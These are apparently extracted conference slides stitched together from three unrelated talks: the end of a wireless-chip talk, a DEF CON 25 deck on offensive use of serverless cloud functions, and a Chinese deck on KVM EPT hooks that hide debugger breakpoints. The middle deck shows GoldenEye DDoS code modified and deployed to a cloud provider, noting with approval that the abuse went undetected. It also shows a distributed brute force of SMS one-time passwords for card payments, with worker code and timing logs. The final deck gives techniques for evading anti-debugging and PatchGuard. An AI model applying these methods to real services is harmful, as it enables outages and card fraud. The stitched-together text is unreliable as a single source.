They all mention similar coexistence interfaces in their datasheets.
●
Some wireless chips do not separate wireless cores at all.
→ Not directly vulnerable to Spectra?
Operating system based side channels might exist...
50
Summary
51
Q&A
Twitter: @naehrdine, @seemoolab
[email protected], [email protected] | pdf |
Microservices and FaaS
for Offensive Security
Ryan Baxendale
$ whoami
Ryan Baxendale
Penetration Tester
Centurion Information Security Pte Ltd - www.centurioninfosec.sg
Singapore
twitter.com/ryancancomputer
github.com/ryanbaxendale
linkedin.com/in/ryanbaxendale
Servers are dead...
“Serverless”
Jan 2015 - AWS Lambda Preview open to all
AWS Customers
The stack
Source: https://intl.aliyun.com/forum/read-499
Microservices
Code
Real-time File Processing
https://aws.amazon.com/lambda/
Real-time Stream Processing
https://aws.amazon.com/lambda/
Scale
https://github.com/airbnb/streamalert
StreamAlert is a serverless, realtime data
analysis framework which empowers you to
ingest, analyze, and alert on data from any
environment, using datasources and alerting
logic you define.
https://github.com/0x4D31/honeyLambda
honeyλ - a simple serverless application
designed to create and monitor URL
{honey}tokens, on top of AWS Lambda and
Amazon API Gateway
https://github.com/goadapp/goad
Goad is an AWS Lambda powered, highly
distributed, load testing tool built in Go
https://github.com/davbo/lambda-csp-report-uri
Simple python application which runs on AWS
Lambda and writes CSP reports into S3 for later
processing
https://github.com/therefromhere/csp_lambda
AWS Lambda function to store Content Security
Policy reports in ElasticSearch
Automate
https://github.com/marekq/aws-lambda-firewall
Create temporary security groups on your
EC2 instances through a simple API call. In
addition, audit your security groups easily by
the use of automated reports written to S3.
https://github.com/ilijamt/lambda_security_grou
p_manager
Auto managing your AWS security groups
with Lambda
https://github.com/johnmccuk/cloudflare-ip-security-gr
oup-update
Lambda function to retrieve Cloudflare's IP address
list and update the specified security group
AWS WAF Automation
https://aws.amazon.com/answers/
security/aws-waf-security-automat
ions/
Parse application logs and trigger
WAF rules
Honeypot
Log parsing (db scraping)
Use third party IP reputation lists
Hello World from the
Serverless cloud
Hello Serverless
World
Hello World on AWS Lambda (1/4)
Hello World on AWS Lambda (2/4)
Hello World on AWS Lambda (3/4)
Hello World on AWS Lambda (4/4)
IP address is 13.228.72.124
Hello Serverless
World
Hello World on Play with Docker
$ dig +short -x 34.206.199.2
ec2-34-206-199-2.compute-1.amazonaws.com.
+Anonymous (no account)
-time limited
-captcha
Hosted: http://www.play-with-docker.com/
Build your own: https://github.com/alexellis/faas
A serverless framework for Docker
Cost
http://serverlesscalc.com/
AWS: “1M free requests per month and 400,000
GB-seconds of compute time per month”
128 MB = 3,200,000 free seconds per month
Then $0.000000208 per 100ms
10 million executions for $1.80
FaaS support by region
AWS
1.
US East (N. Virginia)
2.
US East (Ohio)
3.
US West (N. California)
4.
US West (Oregon)
5.
Canada (Central)
6.
EU (Ireland)
7.
EU (Frankfurt)
8.
EU (London)
9.
Asia Pacific (Singapore)
10.
Asia Pacific (Sydney)
11.
Asia Pacific (Seoul)
12.
Asia Pacific (Tokyo)
13.
Asia Pacific (Mumbai)
14.
South America (São Paulo)
Azure
1.
East US
2.
East US 2
3.
West US
4.
West US 2
5.
South Central US
6.
North Central US
7.
Central US
8.
Canada Central
9.
Canada East
10.
North Europe
11.
West Europe
12.
UK West
13.
UK South
14.
Southeast Asia
15.
East Asia
16.
Japan West
Azure
17.
Japan East
18.
Brazil South
19.
Australia East
20.
Australia Southeast
22.
Central India
23.
South India
IBM
1.
US South
Google
1.
IOWA (us-central1)
Overview
Google
IBM
AWS
Azure
Regions
1
1
14
23
Language
Node.js
(Python)
Docker
Node.js 6
Python 3
Swift 3
Edge Node.js 4.3
Node.js 4.3
Node.js 6.10
Python 2.7
Python 3.6
Bash, Batch
C#, F#
JavaScript
Php, PowerShell
Python, TypeScript
OS (Python)
Linux
Debian 8.8
Linux
Ubuntu 14.04.1
Linux
4.4.51-40.60.amzn1.x86_64
Windows Server 2012
Advantages
1.
Low cost (“free”)
a.
Sign up credit
2.
Unspecified source IP addresses
a.
Possibly low attribution
3.
Global data centers
a.
China
AWS
IBM Bluemix
Google
Azure
Project Thunderstruck
Finding use cases for FaaS in offensive security
Project Thunderstruck
Finding use cases for FaaS in offensive security
Explore different cloud service providers
Try to get supercomputer resources without
paying
DEF CON 25
1.
DDoS without Servers
2.
SMS OTP Brute Force
DDoS without
Servers
1: DDoS without Servers
Client purchases anti-ddos service
Does it work? Will they scrub the attack at 2am?
Plan:
●
Find some DDoS tool/code
●
Port to cloud service provider
●
Trigger based on events
●
Monitor the target and wait for results
/$$$$$$ /$$ /$$ /$$$$$$$$
/$$__ $$ | $$ | $$ | $$_____/
| $$ \__/ /$$$$$$ | $$ /$$$$$$$ /$$$$$$ /$$$$$$$ | $$ /$$ /$$ /$$$$$$
| $$ /$$$$ /$$__ $$| $$ /$$__ $$ /$$__ $$| $$__ $$| $$$$$ | $$ | $$ /$$__ $$
| $$|_ $$| $$ \ $$| $$| $$ | $$| $$$$$$$$| $$ \ $$| $$__/ | $$ | $$| $$$$$$$$
| $$ \ $$| $$ | $$| $$| $$ | $$| $$_____/| $$ | $$| $$ | $$ | $$| $$_____/
| $$$$$$/| $$$$$$/| $$| $$$$$$$| $$$$$$$| $$ | $$| $$$$$$$$| $$$$$$$| $$$$$$$
\______/ \______/ |__/ \_______/ \_______/|__/ |__/|________/ \____ $$ \_______/
/$$ | $$
| $$$$$$/
\______/
GoldenEye - https://github.com/jseidl/GoldenEye
Modified slightly to hard code target IP, Host
headers, path, and deployed to *undisclosed*
cloud service provider
Simple script to start the function, wait for it to
timeout (60 seconds)
Script Kiddie skills
Paste goldeneye.py code
def error(msg):
# print help information and exit:
sys.stderr.write(str(msg+"\n"))
usage()
sys.exit(2)
Remove everything from “# Main” / line 567
down
goldeneye = GoldenEye("http://128.199.175.83")
goldeneye.useragents = ["Mozilla/5.0 (X11; Linux
x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/59.0.3071.104 Safari/537.36"]
goldeneye.nr_workers = 1
goldeneye.method = METHOD_POST
goldeneye.nr_sockets = 1
goldeneye.fire()
Test on our server
Run the function
Tail logs and wait for results
The attack
Site is still up
Something unexpected has occurred...
Trigger the code to start
Wait for abuse email…
Python
Modify goldeneye to follow redirects
Find in the code (line 336):
for conn_resp in self.socks:
resp =
conn_resp.getresponse()
Add the following:
if resp.getheader('Location') is not None:
next_url = resp.getheader('Location')
(url, headers) = self.createPayload()
method = random.choice([METHOD_GET, METHOD_POST]) if self.method == METHOD_RAND else self.method
conn_resp.request(method.upper(), next_url, None, headers)
Update the function
Try again...
Monitor the target
AWS Route 53 Health Checks
Checks HTTP service
Can look for keywords
Monitor the target
AWS Route 53 Health Checks
Multiple regions/locations
The Results
~30 Mbps
Code running in 1 region/zone of 1 cloud service provider
Good bandwidth available
Abuse not detected by the cloud service provider and our account is still active :)
Summary
Entry requirements:
●
Anyone who knows how to copy/paste a
Python script
●
Easy - script kiddie with free credit to cloud
service providers
Access to:
●
High bandwidth
●
xx Mbps DDoS infrastructure
SMS OTP
Brute force
2: SMS OTP
Online credit card purchases
Access Control Server (ACS):
1.
Is this card enrolled in 3-d secure
2.
Is auth available
3.
Authenticate card holder
ACS has to detect brute force of the OTP value
ACS is run by or on behalf of an Issuer (bank)
https://usa.visa.com/dam/VCOM/download/merchants/verified-by-visa-acquirer-merchant-implementation-guid
e.pdf
Transaction Flow
3-D Secure - Systems and Compliance Testing
Policies and Procedures Guide (January 2014)
Product’s tested: ACS and MPI
“Visa Inc.'s letter of compliance does not under any
circumstances include any endorsement or
warranty regarding the ... security ... of any
particular product or service”
“The ACS determines whether the provided
password is correct”
“Cardholder fails to correctly enter the
authentication information within the
issuer-defined number of entries (possible
indication of fraudulent user).”
OTP security left to successful implementation of
ACS by third party product or hosted service
https://usa.visa.com/dam/VCOM/download/merchants/verified-by-visa-acquirer-merchant-implementation-guide.pdf
The Plan
Need to guess 6 digit SMS OTP value
10^6 = 1,000,000 possible values
Time limited window of 100 seconds
Plan:
●
Start a simulated online purchase
●
Load SMS OTP page
●
Capture HTTP request with SMS OTP value
●
Load request into thunderstruck
●
Get correct value and continue session in
browser
Complete all the steps within 100 seconds
Good use case for FaaS?
Architecture
1) Store random OTP value
2) Clear OTP guess counter
3) Keep asking
for OTP result
5) Guess OTP
6) Check OTP
7) Increment
guess counter
4) Trigger workers
8) Report
correct OTP
9) Report brute
force complete
Google App Engine (1/2)
First we need a test server that can handle
1,000,000 requests in 60 seconds
~16,667 requests/second
200 instances to handle the requests
Google App Engine (2/2)
Memcache backend:
●
Check if OTP guess is correct
●
Track OTP guesses
$ gcloud app deploy
Function
$ cat ./trigger_worker_aws.py
# setup test server
“https://otp.appspot.com/?setotp=” + random(...)
start_time = datetime(...)
def wait_for_result(...)
while Elasticsearch(...).get(...)
time.sleep(1)
print(“OTP is 123456 \o/”)
# invoke Lambda function
multiprocessing.Pool(...)
boto3.client('lambda').invoke(...)
wait_for_result(...)
print(“time taken:” + datetime(...) - start_time )
$ cat ./worker.py
*Python multiprocessing Pool and Queue won't
work on AWS Lambda*
def lambda_handler(...)
def brute_otp(...)
multiprocessing.Process(brute_otp_run, ...)
def brute_otp_run(...)
response = requests.get(url+otp)
if success_match in response:
add_result_to_es(response)
if done_match in response:
add_job_to_es(response)
def add_result_to_es(...)
def add_job_to_es(...)
Testing
https://smsotp.appspot.com/?setotp=013370
Stored OTP: 013370
Enter the OTP in the parameter 'otp'
otp guessed: 0/1000000
https://smsotp.appspot.com/?otp=123456
Stored OTP: 013370
OTP is wrong, try again
otp guessed: 1/1000000
https://smsotp.appspot.com/?otp=013370
Stored OTP: 013370
Success the correct OTP is: 013370
otp guessed: 2/1000000
Now we have a working test server to simulate
the brute force attack within 100 seconds
Brute-force 4 digits - 100 workers (100/worker)
======[OTP LENGTH 4]===========
setting random OTP value of length: 4 - OTP value is: 8763
server is ready, starting brute force of OTP
Need to spawn 100.0 workers to guess otp [0-9] of length 4 with 100 otp per worker
32 processes to start 7.14285714286 workers for each of the 14 regions
continue?
2017-07-09 16:28:29.478689 - starting brute_otp
Started job id: 91ada05a-eea6-4eb6-b79b-78fe8a347ee1
2017-07-09 16:28:29.480830 - starting workers
2017-07-09 16:28:29.484356 - waiting for answer in elasticsearch
2017-07-09 16:28:31.547423 - done starting workers
finished starting workers in 0:00:02.066530
2017-07-09 16:28:41.808053 - got answer from elasticsearch
{u'otp_value': u'8763'}
found OTP in 0:00:12.329502
2017-07-09 16:28:41.811278 - waiting for job to complete
2017-07-09 16:28:56.023307 - job completed
brute_otp finished in 0:00:26.544594
Brute-force 4 digits - 200 workers (50/worker)
======[OTP LENGTH 4]===========
setting random OTP value of length: 4 - OTP value is: 2577
server is ready, starting brute force of OTP
Need to spawn 200.0 workers to guess otp [0-9] of length 4 with 50 otp per worker
32 processes to start 14.2857142857 workers for each of the 14 regions
continue?
2017-07-09 16:27:42.543748 - starting brute_otp
Started job id: 0bd95391-641b-4c28-b618-634bda7941e5
2017-07-09 16:27:42.546869 - starting workers
2017-07-09 16:27:42.550619 - waiting for answer in elasticsearch
2017-07-09 16:27:44.694512 - done starting workers
finished starting workers in 0:00:02.147645
2017-07-09 16:27:53.474901 - got answer from elasticsearch
{u'otp_value': u'2577'}
found OTP in 0:00:10.931181
2017-07-09 16:27:53.478134 - waiting for job to complete
2017-07-09 16:27:54.327960 - job completed
brute_otp finished in 0:00:11.784056
Brute-force 4 digits - 400 workers (25/worker)
======[OTP LENGTH 4]===========
setting random OTP value of length: 4 - OTP value is: 2167
server is ready, starting brute force of OTP
Need to spawn 400.0 workers to guess otp [0-9] of length 4 with 25 otp per worker
32 processes to start 28.5714285714 workers for each of the 14 regions
continue?
2017-07-09 16:26:58.884780 - starting brute_otp
Started job id: 685b617a-9986-4f6f-bd1a-4f563f545b58
2017-07-09 16:26:58.888718 - starting workers
2017-07-09 16:26:58.892609 - waiting for answer in elasticsearch
2017-07-09 16:27:01.999699 - done starting workers
finished starting workers in 0:00:03.111037
2017-07-09 16:27:04.825824 - got answer from elasticsearch
{u'otp_value': u'2167'}
found OTP in 0:00:05.941202
2017-07-09 16:27:04.829593 - waiting for job to complete
2017-07-09 16:27:06.544043 - job completed
brute_otp finished in 0:00:07.659145
Brute-force 5 digits - 1,000 workers (100/worker)
======[OTP LENGTH 5]===========
setting random OTP value of length: 5 - OTP value is: 92827
server is ready, starting brute force of OTP
Need to spawn 1000.0 workers to guess otp [0-9] of length 5 with 100 otp per worker
32 processes to start 71.4285714286 workers for each of the 14 regions
continue?
2017-07-09 16:22:49.462012 - starting brute_otp
Started job id: 8fc3d024-ba49-4ecb-ada0-5660935a87bf
2017-07-09 16:22:49.468667 - starting workers
2017-07-09 16:22:49.470290 - waiting for answer in elasticsearch
2017-07-09 16:22:55.765072 - done starting workers
finished starting workers in 0:00:06.296480
2017-07-09 16:23:10.736533 - got answer from elasticsearch
{u'otp_value': u'92827'}
found OTP in 0:00:21.274614
2017-07-09 16:23:10.739454 - waiting for job to complete
2017-07-09 16:24:30.031556 - job completed
brute_otp finished in 0:01:40.569551
Brute-force 5 digits - 2,000 workers (50/worker)
======[OTP LENGTH 5]===========
setting random OTP value of length: 5 - OTP value is: 15202
server is ready, starting brute force of OTP
Need to spawn 2000.0 workers to guess otp [0-9] of length 5 with 50 otp per worker
32 processes to start 142.857142857 workers for each of the 14 regions
continue?
2017-07-09 16:15:41.324104 - starting brute_otp
Started job id: be84d27a-bd77-4dde-95a1-802dde9796fa
2017-07-09 16:15:41.336814 - starting workers
2017-07-09 16:15:41.339787 - waiting for answer in elasticsearch
2017-07-09 16:15:47.890910 - got answer from elasticsearch
{u'otp_value': u'15202'}
found OTP in 0:00:06.567002
2017-07-09 16:15:51.180059 - done starting workers
finished starting workers in 0:00:09.843286
2017-07-09 16:15:51.180274 - waiting for job to complete
2017-07-09 16:16:53.400075 - job completed
brute_otp finished in 0:01:12.075939
Brute-force 5 digits - 4,000 workers (25/worker)
======[OTP LENGTH 5]===========
setting random OTP value of length: 5 - OTP value is: 36033
server is ready, starting brute force of OTP
Need to spawn 4000.0 workers to guess otp [0-9] of length 5 with 25 otp per worker
32 processes to start 285.714285714 workers for each of the 14 regions
continue?
2017-07-09 16:14:25.121882 - starting brute_otp
Started job id: 8c903f9d-8036-41a2-b9f8-8444b9e2523d
2017-07-09 16:14:25.131402 - starting workers
2017-07-09 16:14:25.133104 - waiting for answer in elasticsearch
2017-07-09 16:14:36.006256 - got answer from elasticsearch
{u'otp_value': u'36033'}
found OTP in 0:00:10.884596
2017-07-09 16:14:43.876436 - done starting workers
finished starting workers in 0:00:18.745044
2017-07-09 16:14:43.876572 - waiting for job to complete
2017-07-09 16:14:49.328035 - job completed
brute_otp finished in 0:00:24.206181
Brute-force 6 digits - 10,000 workers (100/worker)
======[OTP LENGTH 6]===========
setting random OTP value of length: 6 - OTP value is: 132103
server is ready, starting brute force of OTP
Need to spawn 10000.0 workers to guess otp [0-9] of length 6 with 100 otp per worker
32 processes to start 714.285714286 workers for each of the 14 regions
continue?
2017-07-09 16:29:46.701166 - starting brute_otp
Started job id: 70961810-964d-4b62-8c34-8b4dbd9e3e0b
2017-07-09 16:29:46.732705 - starting workers
2017-07-09 16:29:46.735767 - waiting for answer in elasticsearch
2017-07-09 16:30:17.796209 - got answer from elasticsearch
{u'otp_value': u'132103'}
found OTP in 0:00:31.097981
2017-07-09 16:30:33.161660 - done starting workers
finished starting workers in 0:00:46.429033
2017-07-09 16:30:33.161845 - waiting for job to complete
2017-07-09 16:33:30.035312 - job completed
brute_otp finished in 0:03:43.334052
~500k attempts in
first 60 seconds
Brute-force 6 digits - 10,000 workers (100/worker)
======[OTP LENGTH 6]===========
setting random OTP value of length: 6 - OTP value is: 365313
server is ready, starting brute force of OTP
Need to spawn 10000.0 workers to guess otp [0-9] of length 6 with 100 otp per worker
32 processes to start 714.285714286 workers for each of the 14 regions
continue?
2017-07-09 16:59:26.960930 - starting brute_otp
Started job id: 48b6c6d6-23c5-46c9-82b5-171605d9e4b7
2017-07-09 16:59:26.980960 - starting workers
2017-07-09 16:59:26.983994 - waiting for answer in elasticsearch
2017-07-09 17:00:08.949795 - got answer from elasticsearch
{u'otp_value': u'365313'}
found OTP in 0:00:41.989282
2017-07-09 17:00:20.354010 - done starting workers
finished starting workers in 0:00:53.373069
2017-07-09 17:00:20.354184 - waiting for job to complete
2017-07-09 17:04:14.738054 - job completed
brute_otp finished in 0:04:47.777224
41 seconds
Brute-force 6 digits - 20,000 workers (50/worker)
======[OTP LENGTH 6]===========
setting random OTP value of length: 6 - OTP value is: 848028
server is ready, starting brute force of OTP
Need to spawn 20000.0 workers to guess otp [0-9] of length 6 with 50 otp per worker
32 processes to start 1666.66666667 workers for each of the 12 regions
continue?
2017-07-09 17:31:04.042149 - starting brute_otp
Started job id: 3ada0c03-2098-4bb7-81a6-59fc23aa13e4
2017-07-09 17:31:04.105770 - starting workers
2017-07-09 17:31:04.115192 - waiting for answer in elasticsearch
2017-07-09 17:32:20.495622 - got answer from elasticsearch
{u'otp_value': u'848028'}
found OTP in 0:01:16.453610
2017-07-09 17:32:41.689405 - done starting workers
finished starting workers in 0:01:37.583704
2017-07-09 17:32:41.689607 - waiting for job to complete
2017-07-09 17:33:05.983280 - job completed
brute_otp finished in 0:02:01.941091
12 regions
Geographically closer to test server
76 seconds
Brute-force 6 digits - 40,000 workers (25/worker)
======[OTP LENGTH 6]===========
setting random OTP value of length: 6 - OTP value is: 636555
server is ready, starting brute force of OTP
Need to spawn 40000.0 workers to guess otp [0-9] of length 6 with 25 otp per worker
32 processes to start 2857.14285714 workers for each of the 14 regions
continue?
2017-07-09 17:35:32.440217 - starting brute_otp
Started job id: ba9211e5-9f30-4d36-8182-8c1a1638ef6b
2017-07-09 17:35:32.512530 - starting workers
2017-07-09 17:35:32.520186 - waiting for answer in elasticsearch
2017-07-09 17:36:40.556626 - got answer from elasticsearch
{u'otp_value': u'636555'}
found OTP in 0:01:08.116940
2017-07-09 17:38:58.294490 - done starting workers
finished starting workers in 0:03:25.782006
2017-07-09 17:38:58.294680 - waiting for job to complete
2017-07-09 17:39:40.461517 - job completed
brute_otp finished in 0:04:08.021226
68 seconds
Brute-force 6 digits - 20,000 workers (50/worker)
======[OTP LENGTH 6]===========
setting random OTP value of length: 6 - OTP value is: 080514
server is ready, starting brute force of OTP
Need to spawn 20000.0 workers to guess otp [0-9] of length 6 with 50 otp per worker
32 processes to start 4000.0 workers for each of the 5 regions
continue?
2017-07-09 17:43:03.199781 - starting brute_otp
Started job id: 7c632fe4-b75c-4727-939b-bbf0c44acf6b
2017-07-09 17:43:03.250565 - starting workers
2017-07-09 17:43:03.260273 - waiting for answer in elasticsearch
2017-07-09 17:44:40.776670 - done starting workers
finished starting workers in 0:01:37.526133
2017-07-09 17:44:44.977822 - got answer from elasticsearch
{u'otp_value': u'080514'}
found OTP in 0:01:41.778138
2017-07-09 17:44:44.985564 - waiting for job to complete
2017-07-09 17:45:21.050496 - job completed
brute_otp finished in 0:02:17.850548
5 regions (same geo area)
Some requests dropped by
overloaded test server :(
101 seconds
Demo
6 digit OTP
Test server: Google App Engine (Python) with 200 instances of type B1
Possible to guess OTP based on ~500k attempts in 60 seconds
Requirements:
●
The ability to keep guessing (no account lockout)
●
Server that can handle 10k requests per second (~16.6k in theory)
●
Best if attack comes from same geographic region
●
Need a bit of luck
Summary
Code:
https://github.com/ryanbaxendale/thunderstruck-
demo/tree/master/sms.otp
Verified by Visa Acquirer and Merchant
Implementation Guide
Chapter 6: Merchant Server Plug-In Functions:
“The Payer Authentication Request/Response
message pair has a recommended timeout value
of 5 minutes, recognizing that cardholders may
become distracted while completing the
authentication.”
Going further
●
8 digit SMS OTP
●
3 minutes (180 seconds)
●
Need a more scalable test server
Other attacks:
●
Unauth password reset URLs
●
Account signup/registration
Further work
Interesting
lambdash: AWS Lambda Shell Hack
By Eric Hammond
https://github.com/alestic/lambdash
Run shell commands using node.js
CCC 2016
Gone in 60 Milliseconds
Intrusion and Exfiltration in Server-less
Architectures
DEF CON 25
Starting the Avalanche: Application DoS In
Microservice Architectures
Blackhat US 2017
Hacking Serverless Runtimes: Profiling AWS
Lambda Azure Functions and more
Blackhat US 2016
Account Jumping Post Infection Persistency &
Lateral Movement In AWS
Going further
AWS Lambda - High mem: 1536 MB
266,667/seconds/month free
Aliyun / Alibaba Cloud - China
Need to register with +86 mobile number
IBM OpenWhisk
Docker
Build your own FaaS infrastructure
https://github.com/alexellis/faas
●
UI portal
●
Setup with one script
●
Any process that can run in Docker can be
a serverless function
●
Prometheus metrics and logging
●
Auto-scales as demand increases
github.com/ryanbaxendale/thunderstruck-demo | pdf |
程聪 阿里云安全-系统安全专家
基 于 硬 件 虚 拟 化 技 术 的 新 一 代 二 进 制 分 析 利 器
自我介绍
现就职于阿里云安全-系统安全团队
主要研究方向:
•
病毒检测
•
主机安全
•
内核安全
•
虚拟化安全
•
二进制攻防
演讲内容
•
背景介绍
•
QEMU/KVM简介
•
无影子页ept hook
•
虚拟化调试器
•
内核级trace
•
总结
背景介绍
大家先来看下左边这张图片,搞内核安全的应该不陌
生。windows x64内核引入patchguard后,对内核
敏感部分,进行patch、hook,修改msr、IDT表等
操作,都会触发蓝屏
从PatchGuard谈起
但是有很多场景还是需要对内核进行hook,安全研
究人员发现可以借助硬件虚拟化特性,实现ept hook,
来兼容patchguard
传统的ept hook一般使用影子页来实现,我们发现这
种方法存在一些问题。本次分享会介绍一种新方法,
巧妙解决这些问题
要实现ept hook,首先需要一个类似左图的虚拟化平
台,提供整体的框架
虚拟化平台
从图中能看出,开发一个完整的vmm工作量太大,所
以我们选择基于现有的虚拟化平台进行二次开发,但
一些专注安全领域的开源平台如hyperplatform,或
多或少都存在各种各样的问题,最终我们选择了基于
qemu\kvm做二次开发
本次分享会介绍如何基于qemu\kvm,快速打造无影
子页ept hook,虚拟化调试器、内核级trace工具
vcpu manager
memory manager
device manager
interrupts
paravirtualization
vmm
…
•
代码完善度高,鲁棒性好,稳定性高,性能开销小
•
支持windows、linux等多种guest os
•
背靠linux内核,各种基础设施齐全,方便二次开发
•
在云上广泛使用,环境不会被特殊针对
•
支持gpu透传和虚拟化,可以运行图形化程序
•
支持嵌套虚拟化,可以运行vmm程序
为什么选择QEMU/KVM
相比于hyperplatform等虚拟化平台,qemu\kvm有以下优势
QEMU/KVM简介
QEMU/KVM整体架构
如左图所示,guest操作系统在(ring 0)上运行,同时
vmm运行在具有更高特权级别(ring -1) 上。执行系
统调用等不涉及关键指令的指令,vmm不会介入。这
样guest操作系统就可以为其应用程序提供高性能的
内核服务。当guest使用特权指令(比如cpuid),或者
发生异常时会产生vmexit,从guest退出到host中,
host处理完成后,再通过vmentry回到guest
cpu虚拟化
HPA
PA
HVA
G
内存虚拟化
没有虚拟化的情况下,内存地址翻译如左图所示,只有VA->PA
virtual machine1
process1
VA
G
<--CR3
EPT-->
qemu
linux host
在存在虚拟化的情况下,GVA->GPA的翻译发生在虚拟机内部
GPA并不是最终的物理内存,还需要通过EPT翻译成HPA,才完
成整个内存访问
qemu的HVA也映射为HPA,所以一般来
说GPA对应着qemu的HVA
EPT翻译过程跟普通页表类似,也是通过多
级页表实现,手动去掉页表项某些权限,就
可以达到监控和欺骗的目的
EPT相关操作都在host上进行,对guest内核
和应用程序不可见,从而可以进行降维打击
无影子页ept hook
影子页ept hook
•
如右图,我们在原始页页面的基础上,创建
一个只有X权限影子页,原始页保留RW权限,
并在影子页上进行hook,修改头部指令为jmp
•
当有cpu执行此页时,就会触发hook逻辑
•
当有cpu读取此页时,由于影子页只有X权限,
会产生ept violation,从而vmexit到host,host
将页面切换成原始页(RW)进行读写,cpu会读取到
原始的内容,我们达到了欺骗(无痕)的效果
•
下次cpu再执行原始页(RW)时,同样会触发异常
,我们再将页面切换回影子页(X)执行
这种方法存在什么问题?
存在的问题
•
在影子页(X)上执行mov rcx,[rip]时,会读
取当前页面,由于当前页面只有X权限,
会产生异常并切换到原始页(RW)去执行
读取,由于RW页没有X权限,又会产生异
常并切换回影子页(X),来回切换进入死锁
遇到右图自己读写自身页面的指令会怎么样?
这种读写自身页面的场景很常见,比如
•
switch case语句,在某些情况下会在当前
代码页面,编译生成jump table,这种情
况在windows内核中很常见
•
代码自修改,这种在用户态中比较常见,
比如一些壳、对抗代码中
我们如何改进?
改进后的解决方案
如右图所示,改进后的方案不去除原始页的X权
限,遇到页面自读写的指令,从X切换到RWX,
原始页可顺利执行此指令
在执行完此指令后,我们需要切换回影子页(X),
否则后续cpu执行时hook逻辑不再生效,这个
切换回去的方法一般通过设置MTF来实现
MTF:全称是Monitor Trap flag,可以理解为单
步异常,当host设置该标志位时,回到guest执
行完一条指令后会触发vmexit,exit理由为
MTF
改进后还有什么问题?
依旧存在的问题
如右图,由影子页(X)切换到原始页
(RWX)单步执行时,如果其他核正在执
行此页面,会出现hook失效
如何规避这种情况?
出现这个问题的主要是因为一个核的页
面权限影响了另外一个核,可以给每个
核设置一套自己的EPT页表来规避,但
是这种方法内存占用多,性能损耗很大
类似kvm这种商业化落地的vmm,由于
性能等因素一般都是共用一套EPT页表,
这种情况下,我们如何解决这个问题?
思考
从前面可以看到,进行ept hook最核心的点是要页面切换,为什么要切换,是为了欺骗cpu读写
,让其读写到修改前的页面内容
答案是模拟执行
有没有不切换页面,同时可以欺骗cpu读写的方法?
总结来说就是,涉及非ept异常的页面如
mov rbx,[0x2000],使用真实执行,涉
及到ept异常页面,如mov rax,[0x1000],
会产生读取异常并触发模拟执行
模拟执行
引入了模拟执行,整个过程就变得非常
容易,不再需要影子页
大家看右图,我们将原始页面的RW权
限去掉只保留X权限,假设我们的页面地
址是0x1000,我们修改头部指令为jmp
就可以实现hook。当有cpu执行mov
rax,[0x1000]读取页面时,产生异常并
vmexit,host接管并模拟执行此指令,
模拟涉及到被修改的指令都用原始指令
替换,这样cpu读到的就是修改前的sub
rsp,88h指令
模拟器选择
其实KVM本身就自带了一个x86模拟器,我们可以直接使用
具体的代码在arch\x86\kvm\emulate.c
只需要对其中的部分模拟函数进行修改,在读取某些指令时,用原始指令替换即可
这样我们就通过ept + 模拟器实现了无影子页ept hook,解决了影子页存在的问题
有了前面模拟执行的方案,我们选择什么模拟器呢?unicorn?bochs?
基于这种软硬结合的思路,我们还很容易就能实现虚拟化调试器、内核级指令trace等其他工具
虚拟化调试器
什么是虚拟化调试器
断点机制
调试管理程序
异常事件分发
断点管理
模块管理
符号管理
…
虚拟化加持
这里所说的虚拟化调试器指的就是将调试框
架中,易被对抗的部分使用虚拟化来实现,
比如断点机制、异常事件分发,使用虚拟化
加持后,传统的反调试方法对我们完全无效
异常事件分发涉及的点比较多,我们今天重
点来介绍下虚拟化实现断点机制,断点分为
软件和硬件断点,我们先来介绍下软件断点
如左图,一般的调试器需要有断点机制、异
常事件分发、调试管理程序三个部分
软件断点原理
软件断点在x86中就是指令int3,它的
二进制代码opcode是0xCC,当程序执
行到int3指令时,会引发异常。随后操
作系统会将异常抛给调试器,从而调试
器就有了处理断点的机会
软件断点需要写入指令,因此很容易被
对抗,常见的对抗方法有crc,函数头
部检测等
软件断点检测实例
此例子循环的进行一些文件操作,同时会不停的检测CreateFileW头部指令,如果我们在调试时
给CreateFileW下软件断点,调试器就会写入0xcc,程序会检测到并弹窗退出
如何隐藏软件断点?
隐藏软件断点
有了前面ept hook模拟执行的方法,隐
藏软件断点就变得非常容易,只需要把
原来hook插入的jmp修改成int3即可
当cpu执行X页面时,遇到int3会产生异
常,调试器可以接收到异常并处理
如右图mov rax,[0x1000]指令去读取
0x1000时,由于页面只有X权限,会触
发ept violation,被kvm接管后进入模
拟执行逻辑,模拟执行会欺骗cpu,返
回0x1000中的原始内容sub rsp,88,达
到隐藏断点的目的
编写虚拟化调试器
从头开发存在以下问题
•
工作量巨大
•
UI交互不如商业化产品友好
•
用户切换成本高
断点机制
异常事件分发
虚拟化加持
调试管理程序
因此我们选择去适配加持市面上已经成熟的
调试器如x64dbg,ida,这样一方面切换成
本低,一方面更加稳定
x64dbg、ida
x64dbg这类开源调试器很好适配,但是ida
等一些调试器不开源,如何在不进行任何
patch的情况下进行适配加持?
介绍完了隐藏软件断点的原理,我们该如何
编写具有隐藏软件断点的调试器呢?
类似HyperDbg这样从头开发?
加持现有调试器
如左图,是ida下软件断点的过程,我们可以通
过hook捕获到这种行为
向被调试进程写入int3
WriteProcessMemory
NtWriteVirtualMemory
MmCopyVirtualMemory
vmcall handler
R3
R0
R-1
check bp
ept
hook
vmcall
add hidden int3
有了虚拟化后,我们对MmCopyVirtualMemory
进行ept hook,检测是否是调试器在下断点,
随后将事件通过vmcall转发给kvm,kvm接收
到事件后,将int3断点转化成隐藏断点
隐藏软件断点演示
左图就是前面软件断点检测
的例子,当我们在
createfilew下断点后,kvm
会感知到并将createfilew所
在地址0x7FFDFE422090对
应的物理页设置成只保留X权
限,并写入0xcc,当
0x7FF6464E1058处指令
cmp byte ptr[rax],0xcc读取
0x7FFDFE422090时,会触
发模拟执行,cpu会读取到原
始指令
从下面kvm日志中能看到此
次模拟执行的rip,vcpu等信
息
隐藏软件断点视频演示
只需要将ida等调
试器放入
vt_hidden目录
下,无需任何修
改patch,就能
获得虚拟化加持,
绕过检测
容易踩的坑
•
guest 内存被交换到磁盘
•
copy on write问题
•
qemu 换页导致ept失效
mdl锁住内存,防止换页
写入一份相同内存的内容,保证当前GVA-
>GPA唯一性
qemu启动命令行添加mlock,防止qemu
进程换页
硬件断点原理
x86提供8个调试寄存器(DR0~DR7)用
于硬件调试。其中前四个DR0~DR3是硬
件断点寄存器,可以放入内存地址或者IO
地址,还可以设置为执行、修改等条件,
CPU在执行到满足条件的指令就会自动停
下来,一般用于监控数据读写,因此也叫
